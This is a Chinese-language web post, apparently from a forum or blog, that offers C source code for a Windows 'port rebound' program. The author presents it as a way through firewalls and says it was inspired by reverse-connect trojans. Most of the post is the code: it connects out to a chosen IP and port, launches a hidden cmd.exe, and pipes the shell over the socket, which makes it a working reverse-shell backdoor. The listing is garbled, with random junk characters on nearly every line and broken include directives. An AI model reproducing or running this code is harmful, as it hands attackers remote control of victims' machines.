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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /pWKV>tjj  
&&7&/   
/* ============================== {ceY:49  
Rebound port in Windows NT 6lm<>#_  
By wind,2006/7 lvH} 8 lJ  
===============================*/ D$Ao-6QE W  
#include s]pNT1,  
#include zym6b@+jN  
+ZR>ul-c  
#pragma comment(lib,"wsock32.lib") ;)Sf|  
@!*I mNMI  
void OutputShell(); ;NF:98  
SOCKET sClient; riQ0'-p  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M9.FtQhK/  
lv#L+}T  
void main(int argc,char **argv) sn8l3h)  
{ *-&+;|mM  
WSADATA stWsaData; y$9XHubu  
int nRet; ]4B&8n!  
SOCKADDR_IN stSaiClient,stSaiServer; P1&Irwb`  
M%OUkcWCk  
if(argc != 3) /H$:Q|T}  
{ (gUVZeVFP  
printf("Useage:\n\rRebound DestIP DestPort\n"); oK3PA  
return; d wku6lCk  
} I:M15  
sj&1I.@,>  
WSAStartup(MAKEWORD(2,2),&stWsaData); ]f6,4[  
jEm =A8q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); usw(]CnH  
w3M F62:  
stSaiClient.sin_family = AF_INET; kR <\iT0j  
stSaiClient.sin_port = htons(0); L0*f(H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bUe6f,8,  
0GQKM~|H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Bqw/\Lxwlf  
{ p3qKtMs0!  
printf("Bind Socket Failed!\n"); @v/ 8}n  
return; eC_i]q&o|  
} 6 )lWuY]e  
|<#yXSi  
stSaiServer.sin_family = AF_INET; p-h(C'PqF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +*G<xW :M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =00 sB  
7)BK&kpVr  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {5 (M   
{ EJ(z]M`f  
printf("Connect Error!"); d!y_N&z|(  
return; yY!@FGsA  
} = cI> {  
OutputShell(); GmZ2a-M  
} A`V:r2hnb  
cK75Chsu  
void OutputShell() %Lom#:L'  
{ !!6g<S7)  
char szBuff[1024]; @DlN;r ?Cv  
SECURITY_ATTRIBUTES stSecurityAttributes; jWK>=|)=c  
OSVERSIONINFO stOsversionInfo; 58]t iP"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1%7zCM0s  
STARTUPINFO stStartupInfo; {"_V,HmEF+  
char *szShell; X3l6b+p  
PROCESS_INFORMATION stProcessInformation; <<&SyP  
unsigned long lBytesRead; v %S$5  
P%ZU+ET  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2,p= %  
pz]KUQ  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;W3c|5CE  
stSecurityAttributes.lpSecurityDescriptor = 0; 7lAnGP.;  
stSecurityAttributes.bInheritHandle = TRUE; b7HT<$Wg  
lN7YU-ygz  
C <H$}f  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MX7$f (Hy  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E :UJ"6  
pZ 7KWk4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vH@b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \n-.gG  
stStartupInfo.wShowWindow = SW_HIDE; MaP-   
stStartupInfo.hStdInput = hReadPipe; p%5(Qqmlk  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7 ;x to =  
q]v{o8:U  
GetVersionEx(&stOsversionInfo); :Y4G^i  
L]=LY  
switch(stOsversionInfo.dwPlatformId) >n5Kz]]%  
{ , 1il&  
case 1: Lp{/  
szShell = "command.com"; ,DCrhk  
break; +`TwBN,kp-  
default: `'ak/%Krh  
szShell = "cmd.exe"; /re0"!0y  
break; gO bP  
} xsg55`  
kj`h{Wc[)  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T>m|C}yy  
`W u.wx  
send(sClient,szMsg,77,0); -\g@s@5  
while(1) {QIdeB[  
{ ]GzfU'fOn|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #wF6WxiG  
if(lBytesRead) )>!y7/3  
{ ,772$7x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f1I/aRV:+  
send(sClient,szBuff,lBytesRead,0); 2XV3f$,H  
} B`|H }KU  
else m!:sDQn{3  
{ 03 ;L  
lBytesRead=recv(sClient,szBuff,1024,0); S,#UA%V"  
if(lBytesRead<=0) break; nk+9 J#Gs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .7n`]S/  
} P,7beHjf  
} $WbfRyXi7'  
JjHQn=3AJ  
return; ]Waa7)}DM  
}
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